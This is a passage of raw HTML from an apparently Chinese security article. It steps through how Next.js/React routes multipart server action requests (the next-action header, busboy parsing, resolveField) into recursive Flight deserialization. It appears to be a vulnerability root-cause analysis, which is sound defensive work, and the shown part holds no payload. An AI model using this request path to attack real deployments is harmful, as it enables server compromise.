SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-feature-settings: normal;font-variation-settings: normal;font-size: 14.4px;text-align: left;line-height: 1.75;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);padding: 3px 5px;border-radius: 4px;"><span leaf="">React</span></code><span leaf=""> 中，</span><code style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-feature-settings: normal;font-variation-settings: normal;font-size: 14.4px;text-align: left;line-height: 1.75;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);padding: 3px 5px;border-radius: 4px;"><span leaf="">renderToHTMLOrFlightImpl</span></code><span leaf=""> 函数负责完成 </span><code style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-feature-settings: normal;font-variation-settings: normal;font-size: 14.4px;text-align: left;line-height: 1.75;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);padding: 3px 5px;border-radius: 4px;"><span leaf="">html</span></code><span leaf=""> 渲染输出，当 </span><code style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-feature-settings: normal;font-variation-settings: normal;font-size: 14.4px;text-align: left;line-height: 1.75;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);padding: 3px 5px;border-radius: 4px;"><span leaf="">http</span></code><span leaf=""> 请求经过其进行处理时，将进入 </span><code style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-feature-settings: normal;font-variation-settings: normal;font-size: 14.4px;text-align: left;line-height: 1.75;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);padding: 3px 5px;border-radius: 4px;"><span leaf="">handleAction</span></code><span leaf=""> 来完成 </span><code style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-feature-settings: normal;font-variation-settings: normal;font-size: 14.4px;text-align: left;line-height: 1.75;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);padding: 3px 5px;border-radius: 4px;"><span leaf="">action requests</span></code><span leaf=""> 处理，此时调用栈如下：</span></p><figure style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);margin: 1.5em 8px;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 16px;color: rgb(63, 63, 63);"><span leaf=""><img data-imgfileid="100008885" class="rich_pages wxw-img" data-ratio="0.26944444444444443" data-type="png" data-w="1080" style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);display: block;vertical-align: middle;max-width: 100%;height: auto;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 16px;margin: 0.1em auto 0.5em;border-radius: 4px;" title="null" src="https://wechat2rss.xlab.app/img-proxy/?k=1626cb46&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2F9UsWg6ibZLAwcs4WYylVKq8JZz8X4CVATZuzfrOWiaTeex0nsViaicDPicItqicyyiaJjG6om6cCqn65icwgQM2Q2URKKQ%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></span><figcaption style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);text-align: center;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 0.8em;color: rgb(136, 136, 136);"></figcaption></figure><p style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);margin: 1.5em 8px;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 16px;letter-spacing: 0.1em;color: rgb(63, 63, 63);"><span leaf="">进入 </span><code style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-feature-settings: normal;font-variation-settings: normal;font-size: 14.4px;text-align: left;line-height: 1.75;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);padding: 3px 5px;border-radius: 4px;"><span leaf="">handleAction</span></code><span leaf="">后，首先会调用</span><code style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-feature-settings: normal;font-variation-settings: normal;font-size: 14.4px;text-align: left;line-height: 1.75;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);padding: 3px 5px;border-radius: 4px;"><span leaf="">getServerActionRequestMetadata</span></code><span leaf="">函数提取请求元数据。在</span><code style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-feature-settings: normal;font-variation-settings: normal;font-size: 14.4px;text-align: left;line-height: 1.75;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);padding: 3px 5px;border-radius: 4px;"><span leaf="">getServerActionRequestMeatdata</span></code><span leaf="">函数中，将尝试提取</span><code style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-feature-settings: normal;font-variation-settings: normal;font-size: 14.4px;text-align: left;line-height: 1.75;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);padding: 3px 5px;border-radius: 4px;"><span leaf="">header</span></code><span leaf="">中的</span><code style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-feature-settings: normal;font-variation-settings: normal;font-size: 14.4px;text-align: left;line-height: 1.75;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);padding: 3px 5px;border-radius: 4px;"><span leaf="">next-action</span></code><span leaf="">，如果存在且不等于</span><code style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-feature-settings: normal;font-variation-settings: normal;font-size: 14.4px;text-align: left;line-height: 1.75;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);padding: 3px 5px;border-radius: 4px;"><span leaf="">0</span></code><span leaf="">，返回的</span><code style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-feature-settings: normal;font-variation-settings: normal;font-size: 14.4px;text-align: left;line-height: 1.75;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);padding: 3px 5px;border-radius: 4px;"><span leaf="">isFetchAction</span></code><span leaf="">取值为</span><code style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-feature-settings: normal;font-variation-settings: normal;font-size: 14.4px;text-align: left;line-height: 1.75;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);padding: 3px 5px;border-radius: 4px;"><span leaf="">true</span></code><span leaf="">，同时如果</span><code style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-feature-settings: normal;font-variation-settings: normal;font-size: 14.4px;text-align: left;line-height: 1.75;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);padding: 3px 5px;border-radius: 4px;"><span leaf="">Content-Type</span></code><span leaf="">为</span><code style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-feature-settings: normal;font-variation-settings: normal;font-size: 14.4px;text-align: left;line-height: 1.75;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);padding: 3px 5px;border-radius: 4px;"><span leaf="">multipart/form-data</span></code><span leaf="">类型，返回值</span><code style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-feature-settings: normal;font-variation-settings: normal;font-size: 14.4px;text-align: left;line-height: 1.75;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);padding: 3px 5px;border-radius: 4px;"><span leaf="">isMultiparAction</span></code><span leaf="">取值为</span><code style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-feature-settings: normal;font-variation-settings: normal;font-size: 14.4px;text-align: left;line-height: 1.75;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);padding: 3px 5px;border-radius: 4px;"><span leaf="">true</span></code><span leaf=""> ：</span></p><figure style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);margin: 1.5em 8px;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 16px;color: rgb(63, 63, 63);"><span leaf=""><img data-imgfileid="100008882" class="rich_pages wxw-img" data-ratio="0.32222222222222224" data-type="png" data-w="1080" style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);display: block;vertical-align: middle;max-width: 100%;height: auto;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 16px;margin: 0.1em auto 0.5em;border-radius: 4px;" title="null" src="https://wechat2rss.xlab.app/img-proxy/?k=2de30126&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2F9UsWg6ibZLAwcs4WYylVKq8JZz8X4CVATq4F1tjic8ybWNI7Wer5klWC5evgYD8FBw6ElVOyOzGUD1a4wPZPpG4w%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></span><figcaption style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);text-align: center;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 0.8em;color: rgb(136, 136, 136);"></figcaption></figure><p style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);margin: 1.5em 8px;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 16px;letter-spacing: 0.1em;color: rgb(63, 63, 63);"><span leaf="">回到 </span><code style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-feature-settings: normal;font-variation-settings: normal;font-size: 14.4px;text-align: left;line-height: 1.75;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);padding: 3px 5px;border-radius: 4px;"><span leaf="">handleAction</span></code><span leaf=""> 函数，在后续处理中存在如下判断，如果 </span><code style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-feature-settings: normal;font-variation-settings: normal;font-size: 14.4px;text-align: left;line-height: 1.75;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);padding: 3px 5px;border-radius: 4px;"><span leaf="">isMultiparAction</span></code><span leaf=""> 和 </span><code style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-feature-settings: normal;font-variation-settings: normal;font-size: 14.4px;text-align: left;line-height: 1.75;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);padding: 3px 5px;border-radius: 4px;"><span leaf="">isFetchAction</span></code><span leaf=""> 均为 </span><code style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-feature-settings: normal;font-variation-settings: normal;font-size: 14.4px;text-align: left;line-height: 1.75;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);padding: 3px 5px;border-radius: 4px;"><span leaf="">true</span></code><span leaf=""> ，那么将引入 </span><code style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-feature-settings: normal;font-variation-settings: normal;font-size: 14.4px;text-align: left;line-height: 1.75;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);padding: 3px 5px;border-radius: 4px;"><span leaf="">busboy</span></code><span leaf=""> 这个库来做 </span><code style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-feature-settings: normal;font-variation-settings: normal;font-size: 14.4px;text-align: left;line-height: 1.75;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);padding: 3px 5px;border-radius: 4px;"><span leaf="">http</span></code><span leaf=""> 解析，这个库常用来处理 </span><code style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-feature-settings: normal;font-variation-settings: normal;font-size: 14.4px;text-align: left;line-height: 1.75;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);padding: 3px 5px;border-radius: 4px;"><span leaf="">multipart/form-data</span></code><span leaf=""> 请求，与上面的判断条件一致：</span></p><figure style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);margin: 1.5em 8px;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 16px;color: rgb(63, 63, 63);"><span leaf=""><img data-imgfileid="100008886" class="rich_pages wxw-img" data-ratio="0.5814814814814815" data-type="png" data-w="1080" style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);display: block;vertical-align: middle;max-width: 100%;height: auto;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 16px;margin: 0.1em auto 0.5em;border-radius: 4px;" title="null" src="https://wechat2rss.xlab.app/img-proxy/?k=03928122&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2F9UsWg6ibZLAwcs4WYylVKq8JZz8X4CVATU7fjrqaYNYq2O3cZvaZHLG7YOjn44kvjnDWf769y738mtTI3cktfAw%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></span><figcaption style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);text-align: center;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 0.8em;color: rgb(136, 136, 136);"></figcaption></figure><p style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);margin: 1.5em 8px;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 16px;letter-spacing: 0.1em;color: rgb(63, 63, 63);"><span leaf="">在 </span><code style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-feature-settings: normal;font-variation-settings: normal;font-size: 14.4px;text-align: left;line-height: 1.75;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);padding: 3px 5px;border-radius: 4px;"><span leaf="">decodeReplyFromBusboy</span></code><span leaf=""> 函数中会完成 </span><code style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-feature-settings: normal;font-variation-settings: normal;font-size: 14.4px;text-align: left;line-height: 1.75;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);padding: 3px 5px;border-radius: 4px;"><span leaf="">Flight</span></code><span leaf=""> 反序列化操作，对于 </span><code style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-feature-settings: normal;font-variation-settings: normal;font-size: 14.4px;text-align: left;line-height: 1.75;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);padding: 3px 5px;border-radius: 4px;"><span leaf="">field</span></code><span leaf=""> 类型的请求 (不包含 </span><code style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-feature-settings: normal;font-variation-settings: normal;font-size: 14.4px;text-align: left;line-height: 1.75;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);padding: 3px 5px;border-radius: 4px;"><span leaf="">file</span></code><span leaf=""> 上传)将通过 </span><code style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-feature-settings: normal;font-variation-settings: normal;font-size: 14.4px;text-align: left;line-height: 1.75;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);padding: 3px 5px;border-radius: 4px;"><span leaf="">resolveField</span></code><span leaf=""> 进行处理：</span></p><pre style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-feature-settings: normal;font-variation-settings: normal;font-size: 14.4px;margin: 10px 8px;color: rgb(201, 209, 217);background: rgb(13, 17, 23);text-align: left;line-height: 1.5;overflow-x: auto;border-radius: 8px;padding: 0px !important;"><code style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);font-family: Menlo, &#34;Operator Mono&#34;, Consolas, Monaco, monospace;font-feature-settings: normal;font-variation-settings: normal;font-size: 12.96px;display: -webkit-box;padding: 0.5em 1em 1em;overflow-x: auto;text-indent: 0px;text-align: left;line-height: 1.75;margin: 0px;white-space: nowrap;"><span leaf="">busboyStream.on(&#34;field&#34;, function (name, value) {</span><span leaf=""><br/></span><span leaf="">0 &lt; pendingFiles</span><span leaf=""><br/></span><span leaf="">  ? queuedFields.push(name, value)</span><span leaf=""><br/></span><span leaf="">  : resolveField(response, name, value);</span><span leaf=""><br/></span><span leaf="">});</span></code></pre><p style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);margin: 1.5em 8px;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 16px;letter-spacing: 0.1em;color: rgb(63, 63, 63);"><span leaf="">继续往下调试，在 </span><code style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-feature-settings: normal;font-variation-settings: normal;font-size: 14.4px;text-align: left;line-height: 1.75;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);padding: 3px 5px;border-radius: 4px;"><span leaf="">initializeModelChunk</span></code><span leaf=""> 函数中将依次对请求参数进行 </span><code style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-feature-settings: normal;font-variation-settings: normal;font-size: 14.4px;text-align: left;line-height: 1.75;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);padding: 3px 5px;border-radius: 4px;"><span leaf="">json</span></code><span leaf=""> 格式化处理，并进入 </span><code style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-feature-settings: normal;font-variation-settings: normal;font-size: 14.4px;text-align: left;line-height: 1.75;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);padding: 3px 5px;border-radius: 4px;"><span leaf="">reviveModel</span></code><span leaf=""> 函数进行反序列化递归处理：</span></p><figure style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);margin: 1.5em 8px;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 16px;color: rgb(63, 63, 63);"><span leaf=""><img data-imgfileid="100008884" class="rich_pages wxw-img" data-ratio="0.6601851851851852" data-type="png" data-w="1080" style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);display: block;vertical-align: middle;max-width: 100%;height: auto;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 16px;margin: 0.1em auto 0.5em;border-radius: 4px;" title="null" 